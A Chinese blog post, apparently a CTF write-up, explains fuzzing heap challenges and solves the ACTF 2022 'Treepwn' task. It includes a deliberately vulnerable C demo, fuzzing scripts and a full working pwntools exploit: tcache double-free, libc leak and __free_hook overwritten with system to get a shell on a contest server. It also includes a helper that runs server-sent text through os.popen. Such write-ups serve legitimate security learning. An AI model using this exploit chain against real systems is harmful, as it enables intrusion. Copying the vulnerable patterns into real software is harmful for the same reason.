Skip to content
Menu
Nameless的摸鱼笔记 Nameless的摸鱼笔记
  • 示例页面
Nameless的摸鱼笔记 Nameless的摸鱼笔记

【PWN】从Fuzz到XCTF赛题

Posted on 2022年7月1日 by Nameless

前言

今年的XCTF最后一战ACTF圆满结束了,战队最后也是稳住了19名,应该能拿到决赛门票

但ACTF中,pwn题凄惨爆零。。。虽然只有俺做,但这不能成为摆烂的理由,毕竟要不断成长为战队主力,而且身边有很多很强的同龄师傅,更不应该气馁

在军训途中复现了Tree_pwn,在uuu师傅的引导下学到了如何将fuzz的思想用于比赛的堆题中,于是在此记录一下

什么是Fuzz

考虑很多师傅还不会fuzz或者没听过,在这里再提一下

以上是百度百科的介绍,未免有些抽象,下面举一个形象的例子:

相信大家都玩过CF,老版本的CF可以卡出一些奇奇怪怪的bug,就比如说,你站在一个箱子的一个角上来回前后前后摩擦步伐,就能够卡进箱子里

这其实也是一种fuzz,因为我们的移动其实也是一种通过键盘向挂在服务器上的程序的输入,卡进箱子里就是一种程序的漏洞

堆题Fuzz

笔者的这篇文章讲述了如何用AFL对开源的TCPdump进行fuzz,但一般的fuzz变异的程度太高,这是建立在对TCPdump这样源码的程序运行流极难分析的情况下的。但是如果熟练掌握程序运行流,写了一些比较好的初始的语料库,那么就能够大大提高fuzz的效率(对于TCPdump在github上就有初始的比较好的语料库)

而堆题又怎么fuzz呢?看看下面的demo:

#include<stdlib.h>
#include<stdio.h>
#include<string.h>

#define N 1000 

char* note[N];

void init()
{
	setbuf(stdin, 0);
	setbuf(stdout, 0);
	setbuf(stderr, 0);
}

void menu()
{
	puts("1.add");
	puts("2.delet");
	puts("3.edit");
	puts("4.show");
	puts("5.leak");
    puts("6.free");
    puts("7.write");
	puts("8.exit");
}

void add()
{
	int sz,idx;
	puts("size:");
	scanf("%d",&sz);
	puts("idx:");
	scanf("%d",&idx);
	note[idx]=(char *)malloc(sz);
}

void delet()
{
	int idx;
	puts("idx:");
	scanf("%d",&idx);
	free(note[idx]);
}

void edit()
{
	int idx,sz;
	puts("size:");
	scanf("%d",&sz);
	puts("idx:");
	scanf("%d",&idx);
	puts(">>");
    read(0,note[idx],sz);
}

void show()
{
	int idx;
	puts("idx:");
	scanf("%d",&idx);
	printf(">>: %s",note[idx]);	
}

void leak()
{
	char buf[100];
	puts("input:");	
	scanf("%s",buf);
	printf(buf);
}

void key_free()
{
	char* p[1];
	puts(">> ");
	read(0,p,0x8);
	free((char*)p[0]);
}

void write_in()
{
	char* p[1];
	int sz; 
	puts(">> ");
	read(0,p,0x8);
	puts(">> ");
	scanf("%d",&sz);
	puts(">> ");
	read(0,(char*)p[0],sz);	
}

int main() 
{
	int x;
	puts("welcome to use my demo");
	puts("it will help you know sth about ptmalloc2");
	init(); 
	while(1){
		menu(); 
		puts(">> ");
	    scanf("%d",&x);
        if(x==1){
	       add();	
		} 
        else if(x==2){
		   delet();	
		} 
        else if(x==3){
		   edit();	
		} 
        else if(x==4){
		   show(); 	
		} 
        else if (x==5){
		   leak();	
		} 
        else if (x==6){
		   key_free();	
		} 
        else if (x==7){
		   write_in();	
		} 
        else if (x==8){
		   exit(0);	
		} 
        else{
			return 0;
		}       
	}
}

我们用如下的python脚本:

def fuzz():
    f=open('log.txt','w')
    for i in range(0,0x1000):
        if i % 10 == 0:
           idx=randint(0,0x10)
           add(idx,0x20)
           f.write('add({},0x20)'.format(idx)+'\n')
        elif i % 2 == 0 :
           idx=randint(0,0x10)
           delet(idx)
           f.write('delt({})'.format(idx)+'\n')
        elif i % 3 == 0 :
           idx=randint(0,0x10)
           show(idx)
           r.recvuntil('>>: ')
           check_char=r.recv(1)
           if check_char == '\x55' or check_char == '\x56':
              f.write('show({})'.format(idx)+'\n')
              break             
    f.close() 

就能够探测出存不存在UAF漏洞和是否能够泄露堆地址:

并且把fuzz过程中使用的指令放在“log.txt”中,方便我们分析crash的成因:

有人会说,你这个程序看看就能看出来UAF和泄露堆地址在哪了:

确实,因为这是我自己写的用来调试ptmalloc2的demo,一般的题不会这么赤裸裸,比如2022ACTF那道Treepwn

题解

题目链接

版本

libc-2.27.1.6

保护

ida

在ida里面乱点一通,人都傻了,一大堆看不懂的函数

不过没扣符号表,百度那个显眼的MBR可以知道,函数实现了一棵叶子结点集大小上限为6的R-tree

简单说说R-tree:

R-tree是一种优化信息查找的平衡树(所有叶子节点都在一层的树),是B-tree向多维空间数据的一个扩展。而在B-tree中查找一个信息等价于在区间上做一次二分,也就是logN的时间复杂度

R-tree有个重要的概念,就是最小边界矩形MBR(Minimal Bounding Rectangle),以最简单的存放二维空间坐标的R-tree为例:叶子节点就是单个的坐标,叶子节点的父节点就是包含它以及它的兄弟的最小的一个空间矩形,而每个空间矩形有一个最大容纳量,也就是一个矩形中包含的最多的矩形或者点的个数。如下:

黑色的点表示叶子节点,红框和绿框是父节点,篮筐是父节点的父节点(👴节点):

然而想要维护这一棵树需要很多的很复杂的函数,比如插入函数、查找函数、排序函数(平衡树一般插入或者删去节点就会有一个排序)以及达到上限或者下限(一个矩形中的节点删完了)的分裂函数等等,感兴趣的话可以自行了解

解题

事实说明,自己学了,学完了都不一定能逆懂这个程序,更别提找漏洞了

于是这个时候我们就可以上fuzz来找漏洞了

def fuzz():
 f=open('./log.txt','w')
 for i in range(0x1000):
    if(i%10==0):
        a = randint(0,8)
        b = randint(0,8)
        add(a,b,str(i))
        data0=r.recvuntil('Choice Table')
        if 'two many' in data0:
            break
        f.write(' add({},{},str({}))\n'.format(a,b,i))
    elif(i%2==0):
        a = randint(0,8)
        b = randint(0,8)
        delet(a,b)
        data0=r.recvline()
        if 'not exists' in data0:
            continue
        f.write(' delet({},{})\n'.format(a,b))
    else:
        continue
        a = randint(0,8)
        b = randint(0,8)
        c = randint(0,8)
        d = randint(0,8)
        query(a,b,c,d)
        data0=r.recvuntil('Choice Table')
        if 'totally 0 elements' in data0:
            continue
        elif '\x55' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            ##f.
            break
        elif '\x56' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            break
 f.close()

发现触发了double free(这个触发的堆块就是UAF堆块):

分析crash(甚至可以不分析)发现:

正常的free是有防止UAF的,但是在tree_split_leaf_node函数里面就没有,并且我们可以通过query或者show泄露出堆地址(上面的fuzz脚本如果跑通的话,就表明泄露heap地址了)

然而add的堆块是统一的0x30大小,如何泄露libc呢?

通过UAF提供的tcache double free修改一个fuzz出UAF堆块的size位为unsorted bin大小,然后free并show就可以泄露libc了。然后再fuzz出一个UAF的堆块,再tcache double free打free_hook就可以getshell了

也就是说需要fuzz出3个UAF堆块,我是分两次fuzz出的,运气已经很不错了

exp

from pwn import *
from hashlib import sha256
import os
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})

def proofOfWork():
    r.recvuntil('Submit the token generated by `')
    command = r.recvuntil('`',drop=True)
    r.sendline(os.popen(command).read())


def z():
    gdb.attach(r)

def cho(num):
    r.sendlineafter('> ',str(num))

def add(x,y,name):
    cho(0)
    r.sendlineafter("value: ",str(x))
    r.sendlineafter("value: ",str(y))
    r.sendafter("new element name: ",name.ljust(0x20,'\x00'))

def delet(x,y):
    cho(1)
    r.sendlineafter("want element x-coordinate value: ",str(x))
    r.sendlineafter("want element y-coordinate value: ",str(y))

def edit(x,y,name):
    cho(2)
    r.sendlineafter("want element x-coordinate value: ",str(x))
    r.sendlineafter("want element y-coordinate value: ",str(y))
    r.sendafter("name: ",name.ljust(0x20,'\x00'))

def show(x,y):
    cho(3)
    r.sendlineafter('value',str(x))
    r.sendlineafter('value',str(y))

def query(a,b,c,d):
    cho(4)
    r.sendlineafter("value: ",str(a))
    r.sendlineafter("value: ",str(b))
    r.sendlineafter("value: ",str(c))
    r.sendlineafter("value: ",str(d))

def fuzz():
 f=open('./log.txt','w')
 for i in range(0x1000):
    if(i%10==0):
        a = randint(0,8)
        b = randint(0,8)
        add(a,b,str(i))
        data0=r.recvuntil('Choice Table')
        if 'two many' in data0:
            break
        f.write(' add({},{},str({}))\n'.format(a,b,i))
    elif(i%2==0):
        a = randint(0,8)
        b = randint(0,8)
        delet(a,b)
        data0=r.recvline()
        if 'not exists' in data0:
            continue
        f.write(' delet({},{})\n'.format(a,b))
    else:
        continue
        a = randint(0,8)
        b = randint(0,8)
        c = randint(0,8)
        d = randint(0,8)
        query(a,b,c,d)
        data0=r.recvuntil('Choice Table')
        if 'totally 0 elements' in data0:
            continue
        elif '\x55' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            ##f.
            break
        elif '\x56' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            break
 f.close()

def leak_heap():
 global heap
 add(1,0,str(0))
 add(1,8,str(5))
 add(5,6,str(10))
 add(1,8,str(15))
 add(8,3,str(20))
 delet(8,3)
 add(8,7,str(25))
 add(4,0,str(30))
 add(2,6,str(35))
 add(6,1,str(40))
 add(1,6,str(45))
 add(3,7,str(50))
 add(8,4,str(55))
 delet(3,7)
 add(0,5,str(60)) 
 add(4,3,str(65))
 add(8,0,str(70))
 add(1,8,str(75))
 add(1,3,str(80))
 add(1,6,str(85))
 add(8,6,str(90))
 add(7,2,str(95))
 delet(0,5)
 delet(7,2)
 add(7,6,str(100))
 add(8,7,str(105))
 delet(8,7)
 add(2,4,str(110))
 add(3,0,str(115))
 delet(4,3)
 add(3,1,str(120))
 delet(8,6)
 add(7,8,str(125))
 delet(7,8)
 add(7,0,str(130))
 delet(8,7)
 add(7,6,str(135))
 add(4,4,str(140))
 delet(1,6)
 add(0,4,str(145))
 add(7,8,str(150))
 add(4,8,str(155))
 delet(3,1)
 add(6,1,str(160))
 add(8,0,str(165))
 add(3,4,str(170))
 delet(7,8)
 add(7,4,str(175))
 delet(4,8)
 delet(1,8)
 add(4,5,str(180))
 delet(3,0)
 add(8,8,str(185))
 delet(6,1)
 add(7,6,str(190))
 delet(8,0)
 add(7,3,str(195))
 delet(8,0)
 add(0,2,str(200))
 add(5,1,str(205))
 add(5,0,str(210))
 add(8,7,str(215))
 delet(2,4)
 ##z()
 query(1,0,5,5)
 ##string=r.recvuntil('\x55')[:-6]
 heap=u64(r.recvuntil('\x55')[-6:].ljust(8,'\x00'))-0x10
 log.success('heap:'+str(hex(heap)))

def uaf():
 ##change(1,8)'s size to send it to unsorted bin
 add(3,6,str(0))
 add(2,0,str(10))
 delet(0,4)
 delet(8,7)
 add(3,2,str(20))
 add(6,6,str(30))
 delet(8,8)
 delet(0,2)
 add(0,3,str(40))
 delet(3,6)
 delet(5,6)
 add(1,8,str(50))
 delet(7,0)
 add(8,8,str(60))
 add(0,4,str(70))
 delet(3,4)
 add(6,1,str(80))
 add(7,5,str(90))
 ##z()
 ##delet(1,8)
 ##delet(7,5)
 ##delet(0,4) ##heap+0x8a8
 delet(8,8)
 delet(2,0)
 ##z()
 edit(2,0,p64(heap+0x8a0))
 add(2,0,'nameless')
 add(8,8,p64(0)+p64(0x551))
 ##z()
 ##z()
 add(4,6,str(0))
 delet(8,8)
 add(6,7,str(10))
 ##delet(3,6)
 ##delet(3,6)
 ##leak_libc
 delet(1,8)
 ##z()
 show(1,8)
 r.recvuntil('found!!! its name: ')
 libcbase=u64(r.recvuntil('\x7f').ljust(8,'\x00'))-0x3ebca0
 log.success('libcbase:'+hex(libcbase))
 '''
 f=open('log.txt','w')
 for i in range(0,9):
     for j in range(0,9):
         if(i==1 and j==8):continue
         delet(i,j)
         f.write(str(i)+" "+str(j)+'\n')
 f.close()
 '''
 
 ##set_libc_func
 free_hook=libcbase+libc.sym['__free_hook']
 system=libcbase+libc.sym['system']
 ##one=[0x4f2a5,0x4f302,0x10a2fc]
 ##onegadget=libcbase+one[0]
 
 f=open('log.txt','w')
 for i in range(0,9):
     for j in range(0,9):
         if(i==1 and j==8) : continue
         if(i==3 and j==6) : continue
         delet(i,j)
         f.write(str(i)+" "+str(j)+'\n')
 f.close()
 ##delet(3,6)
 ##delet(3,6)
 ## get_shell
 ##z()
 ##delet(6,1)
 ##delet(4,0)
 add(66,66,'nameless')
 delet(3,6)
 ##z()
 edit(3,6,p64(free_hook))
 add(3,6,'/bin/sh\x00')
 ##z()
 log.success('system:'+str(hex(system)))
 ##z()
 add(6,6,p64(system))
 delet(3,6)
 ##z()
 ##delet(3,6)
 ##delet(3,6)
 ##delet(1,7)
 ##z()
 ##add(66,66,'nameless')
 ##z()
 ##fuzz()
 ##z()
 ##delet(4,0)
 ##delet(4,0)
 
 ##delet(4,0)


def exp():
    global r
    global libc
    r=remote("121.36.241.104",9999)
    proofOfWork()
    ##r=process('./treepwn')
    libc=ELF('./libc-2.27.so')
    ##fuzz()
    leak_heap()
    uaf()
    r.interactive()
    
if __name__ == '__main__':

    exp()

需要注意的点

最后通过add修改free_hook的时候,可能触发分裂free一个0x50大小的MBR堆块,就会卡死程序,只要在这之前free掉无关的堆块就好了

发表回复 取消回复

要发表评论,您必须先登录。

近期文章

  • 关于Nokelock蓝牙锁破解分析
  • 基于树莓派的蓝牙调试环境搭建
  • shell之外的往事:机械兔子
  • [Googlectf2022]硬件题weather
  • 嵌入式设备组播路由攻击实战

近期评论

    归档

    • 2023年4月
    • 2023年3月
    • 2023年1月
    • 2022年10月
    • 2022年9月
    • 2022年8月
    • 2022年7月
    • 2022年5月
    • 2022年4月
    • 2022年3月
    • 2022年2月

    分类

    • fuzz
    • hardware
    • Linux
    • oi
    • PWN
    • python
    • shell之外的往事
    • 嵌入式开发
    • 未分类
    • 比赛题解
    • 程序设计实战

    其他操作

    • 登录
    • 条目feed
    • 评论feed
    • WordPress.org

    朋友们

    chuj
    夜魅楠孩
    x1ng
    pankas
    杨宝
    h4kuy4
    大能猫
    t0hka
    hash_hash
    nightu
    yolbby
    JBNRZ
    oacia
    l0tus
    Korey0sh1

    ©2022 Nameless的摸鱼笔记

    蜀ICP备2022004715号

    ©2023 Nameless的摸鱼笔记 | Powered by WordPress & Superb Themes